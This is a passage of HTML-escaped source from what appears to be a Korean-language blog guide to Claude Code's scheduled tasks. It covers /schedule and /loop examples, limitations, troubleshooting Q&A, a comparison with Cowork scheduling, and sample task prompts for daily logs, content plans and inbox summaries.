    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;보통 다른 언어 포팅은 인력이 많이 드는 작업이다. Python SDK가 업데이트될 때마다 Go SDK도 수동으로
      반영해야 한다. &lt;br /&gt;Claude 스케줄 잡이 이를 자동화하면 인력 부담 없이 두 언어 라이브러리를 동시에 유지할 수 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 3: 일일 문서
    최신화 체크&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 매일 오전 9시, 문서와 코드의 불일치를 찾아서 PR
/schedule daily at 9am: Compare README.md and API docs against
the current codebase. If anything is outdated, update it and
open a PR.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 4:
    /loop으로 배포 모니터링&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 세션에서 5분마다 배포 상태 체크
/loop 5m check if the deployment to staging finished.
If it succeeded, tell me. If it failed, show the error logs.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 6 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;방식&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;제한사항&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대응&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloud&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;최소 간격 1시간. 로컬 파일 접근 불가. &lt;code&gt;claude/&lt;/code&gt; 브랜치 제한.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 작업이 필요하면 Desktop 태스크 사용. 브랜치 제한은 리포별 해제 가능.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Desktop&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;앱이 열려 있어야 실행. 덮개 닫으면 잠듦. 놓친 실행은 최근 1회만 캐치업.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Keep computer awake&quot; 설정 활용. 중요한 작업은 Cloud 태스크로 이관.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 종료 시 삭제. 반복 태스크 3일 만료. 세션당 50개 상한.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지속적인 작업은 Cloud나 Desktop으로. /loop은 임시 모니터링용.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;공통&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude 사용량(토큰)이 각 실행마다 소비됨. 너무 빈번한 스케줄은 비용 증가.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;간격과 프롬프트 복잡도를 적절히 조절.&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 7 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서와 커뮤니티 질문을 바탕으로 정리한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1.
      /schedule 명령어가 안 먹힌다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Claude Code 버전이 v2.1.72 미만이거나, 웹/API 접근이 필요한 기능인데
      오프라인 상태일 수 있다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;claude --version  # v2.1.72 이상인지 확인
claude update     # 최신 버전으로 업데이트&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Cloud
      태스크가 main에 직접 push해서 문제가 생겼다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &quot;Allow unrestricted branch pushes&quot;를 켰을 때 발생할 수 있다.
    &lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 리포별 설정에서 무제한 push를 끄고, &lt;code&gt;claude/&lt;/code&gt; 접두사
      브랜치로만 push하도록 되돌린다. Claude에게 &quot;항상 claude/ 접두사 브랜치에 push하라&quot;고 프롬프트에 명시하는 것도 좋다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3.
      /loop으로 만든 태스크가 사라졌다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; /loop 태스크는 세션에 묶여 있으므로, 세션을 종료하면 전부 삭제된다. 또한 반복
      태스크는 3일 후 자동 만료된다.&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 지속적인 스케줄이 필요하면 &lt;code&gt;/schedule&lt;/code&gt;(Cloud) 또는
      Desktop 태스크를 사용한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4.
      Desktop 태스크가 실행 중 멈춰 있다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Ask 모드에서 승인되지 않은 도구를 호출하면 사용자 승인을 기다리며 멈춘다.&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 해당 태스크의 실행 세션을 열어 승인하거나, &quot;always allow&quot;로 설정한다. 또는
      태스크 권한 모드를 acceptEdits나 auto로 변경한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. 스케줄링을
      완전히 비활성화하고 싶다&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;
        data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_DISABLE_CRON=1&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 환경변수를 설정하면 &lt;code&gt;/loop&lt;/code&gt; 스킬과 cron 도구가 비활성화되고, 이미 예약된 태스크도
      실행이 중단된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 8 (삽입): Cowork vs Claude Code 비교 + 비개발자 활용 사례 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. Cowork(웹) vs Claude Code(CLI) 차이점 정리&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude의 스케줄링 기능은 크게 두 갈래로 나뉜다. &lt;b&gt;Cowork 스케줄(웹/데스크톱 UI)&lt;/b&gt;과 이
    가이드에서 다루는 &lt;b&gt;Claude Code 스케줄(CLI)&lt;/b&gt;이다. 같은 &quot;자동 실행&quot; 기능이지만 대상 사용자와 인터페이스, 활용 방식이 다르다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 22%;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cowork
          스케줄&lt;br /&gt;(claude.ai 웹 &amp;middot; 앱 UI)&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Claude Code
          스케줄&lt;br /&gt;(CLI &amp;middot; /schedule &amp;middot; /loop)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;대상 독자&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;일반 사용자, 비개발자, 콘텐츠 크리에이터, 기획자&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자, 엔지니어, DevOps 담당자&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;인터페이스&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;claude.ai 웹 대시보드 &quot;예정됨&quot; 메뉴, 클릭 기반 설정
        &lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;터미널 CLI, &lt;code&gt;/schedule&lt;/code&gt;
          &amp;middot; &lt;code&gt;/loop&lt;/code&gt; 명령어&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;스케줄 방식&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;UI에서 날짜&amp;middot;시간&amp;middot;반복 주기 선택&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;자연어 또는 cron 표현식, &lt;code&gt;/schedule&lt;/code&gt;
          &amp;middot; &lt;code&gt;/loop&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;주요 사용 사례&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;모닝 브리핑, 콘텐츠 캘린더, 이메일 정리, 팀 보고서&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;CI/CD 자동화, 문서 동기화, 라이브러리 유지보수, 배포 모니터링
        &lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;플러그인 &amp;middot;
          연동&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Cowork 플러그인 생태계 (Google Calendar,
          Gmail, Notion 등)&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;MCP 커넥터 (Slack, Linear, GitHub, Google
          Drive 등)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;기술 수준&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;터미널 불필요, 코드 지식 불필요&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;CLI 기본 조작, Git, cron 개념 이해 권장&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;실행 환경&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Anthropic 클라우드 (로그인된 브라우저/앱)&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Anthropic 클라우드(Cloud) &amp;middot; 로컬
          머신(Desktop &amp;middot; /loop)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-left: 5px solid #0066cc; border-radius: 0 8px 8px 0; margin: 25px 0;&quot;&gt;
    &lt;b&gt;언제 어떤 걸 써야 하나&lt;/b&gt;
    &lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;코드 리포지토리가 관련 없는 업무 자동화&lt;/b&gt; (보고서, 브리핑, 콘텐츠) &amp;rarr; &lt;b&gt;Cowork 스케줄&lt;/b&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;터미널을 이미 열고 작업하는 개발 워크플로&lt;/b&gt; &amp;rarr; &lt;b&gt;Claude Code /schedule &amp;middot; /loop&lt;/b&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Git 리포지토리를 직접 읽고 쓰는 자동화&lt;/b&gt; (CI, 문서 동기화, PR 생성) &amp;rarr; &lt;b&gt;Claude Code Cloud&lt;/b&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;로컬 파일 시스템을 직접 건드려야 하는 작업&lt;/b&gt; &amp;rarr; &lt;b&gt;Claude Code Desktop 태스크&lt;/b&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;코딩을 모르는 팀원이 스스로 설정하게 하고 싶다&lt;/b&gt; &amp;rarr; &lt;b&gt;Cowork 스케줄&lt;/b&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비개발자도 쓸 수 있는
    활용 사례&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code Scheduled Tasks는 개발자 도구이지만, &lt;code&gt;/schedule&lt;/code&gt;의
    프롬프트는 자연어다. 코드를 작성하지 않아도 Git 리포지토리가 없는 작업에도 쓸 수 있다. 아래는 개발자가 아닌 팀원도 활용할 수 있는 실전 사례다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 18px; margin: 0 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;
    &lt;b&gt;참고:&lt;/b&gt; 아래 사례들은 Claude Code Desktop 태스크 또는 Cloud 태스크(MCP 커넥터 연결 시)로 구성할 수 있다. Git 리포지토리 없이 파일 시스템이나 MCP 도구만으로
    동작하는 예시다.
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 A: 매일
    아침 모닝 브리핑 &amp;mdash; Git 커밋 로그 기반 업무 일지&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;전날 Git 커밋 내역을 읽어 오늘 팀에 공유할 업무 일지를 자동으로 작성한다. Desktop 로컬 태스크로
    구성하면 로컬 리포지토리를 직접 읽을 수 있다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Desktop 태스크 프롬프트 예시 (매일 평일 오전 8시 30분)
오늘 날짜를 확인하고, ~/projects/my-app 폴더에서
어제 하루 동안의 Git 커밋 로그를 조회하라.
커밋 메시지를 바탕으로 아래 형식의 업무 일지를 작성해
~/Documents/daily-log.md 파일에 추가하라.

형식:
## [날짜]
### 완료한 작업
- (커밋 메시지 기반으로 작성)
### 내일 이어갈 사항
- (미완료로 보이는 항목이 있으면 추론해서 작성)

파일이 없으면 새로 만들어라.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 B: 주간
    콘텐츠 캘린더 &amp;mdash; 블로그 &amp;middot; 소셜 미디어 자동화&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 월요일 아침, 그 주에 발행할 블로그 아이디어와 소셜 포스트 초안을 자동으로 생성해 파일로 저장한다. 기획자나
    마케터가 검토만 하면 되는 워크플로다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Desktop 태스크 프롬프트 예시 (매주 월요일 오전 9시)
오늘 날짜를 확인하고, ~/blog/drafts/ 폴더에 있는
가장 최근 발행 글 3개를 읽어라.
기존 글과 주제가 겹치지 않는 블로그 아이디어 3개와
각 아이디어에 대한 트위터(X) 홍보 문구 초안을 작성해
~/blog/weekly-plan-[이번주월요일날짜].md 파일로 저장하라.

파일 형식:
# 이번 주 콘텐츠 계획 [날짜]
## 아이디어 1
- 제목:
- 핵심 내용 (3줄 요약):
- X(트위터) 초안:
## 아이디어 2
...
## 아이디어 3
...&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 C: 이메일
    &amp;middot; 슬랙 받은 편지함 정리 요약&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 커넥터로 Gmail &amp;middot; Slack을 연결한 Cloud 태스크를 사용하면, 매일 아침 전날 미확인
    메시지를 요약해 파일이나 슬랙 채널로 보낼 수 있다. (출처: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/web-scheduled-tasks&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서 &amp;mdash; Cloud Scheduled Tasks&lt;/a&gt;, MCP 커넥터 기능)&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Cloud 태스크 프롬프트 예시 (매일 오전 8시, Gmail &amp;middot; Slack 커넥터 필요)
어제 오후 6시부터 지금까지 수신된
Gmail 미확인 메일과 Slack 멘션을 확인하라.
각각 발신자, 핵심 내용, 필요한 액션을 1~2줄로 요약하고
아래 형식으로 정리하라.

## [날짜] 받은 편지함 요약
### Gmail (N건)
- [발신자] 핵심 내용 / 액션 필요 여부
### Slack 멘션 (N건)
- [채널 &amp;middot; 발신자] 핵심 내용 / 액션 필요 여부

# 중요도가 높다고 판단되는 항목은 맨 위로 올려라.
# 정기 뉴스레터, 자동발송 알림 등 액션이 필요 없는 메일은 제외하라.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 18px; margin: -10px 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;
    &lt;b&gt;주의:&lt;/b&gt; Gmail &amp;middot; Slack MCP 커넥터는 claude.ai Settings &amp;gt; Connectors에서 사전 연결이 필요하다. 커넥터 설정 없이는 Cloud 태스크가 메일
    &amp;middot; 메시지에 접근할 수 없다.
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;사례 D: 팀
    프레젠테이션 자동 준비&lt;/h4&gt;
  &lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 금요일 오후, 그 주에 완료한 작업을 정리해 팀 회의용 발표 초안을 만든다. 로컬 Git 커밋 로그를 바탕으로
    슬라이드 개요를 자동 생성한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Desktop 태스크 프롬프트 예시 (매주 금요일 오후 4시)
이번 주 월요일부터 오늘까지의 Git 커밋 로그를
~/projects/ 폴더 아래 모든 리포지토리에서 조회하라.
완료한 주요 작업, 수정된 기능, 해결된 버그를 정리해
팀 주간 회의용 발표 초안을 작성하라.

출력 파일: ~/Documents/weekly-review-[날짜].md

형식:
# 주간 팀 리뷰 [날짜]
## 이번 주 완료 항목
- (구체적으로)
## 다음 주 계획
- (커밋 메시지에서 &quot;WIP&quot;, &quot;TODO&quot; 등이 보이면 추론)
## 주요 수치 (커밋 수, 수정된 파일 수)

발표자가 5분 안에 말할 수 있을 분량으로 작성하라.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;비개발자를 위한 시작 팁&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;터미널이 익숙하지 않다면 &lt;b&gt;Claude Desktop 앱 &amp;rarr; 사이드바 Schedule&lt;/b&gt;에서 UI로 태스크를 만든다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;프롬프트는 한국어로 작성해도 된다. Claude는 한국어 지시를 그대로 따른다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;처음엔 &quot;Manual&quot; 주기로 만들고 &quot;Run now&quot;를 눌러 결과를 확인한 뒤, 자동 반복으로 전환한다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 4px;&quot;&gt;파일 경로는 반드시 절대 경로로 지정한다 (&lt;code&gt;~/Documents/&lt;/code&gt; 형식).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
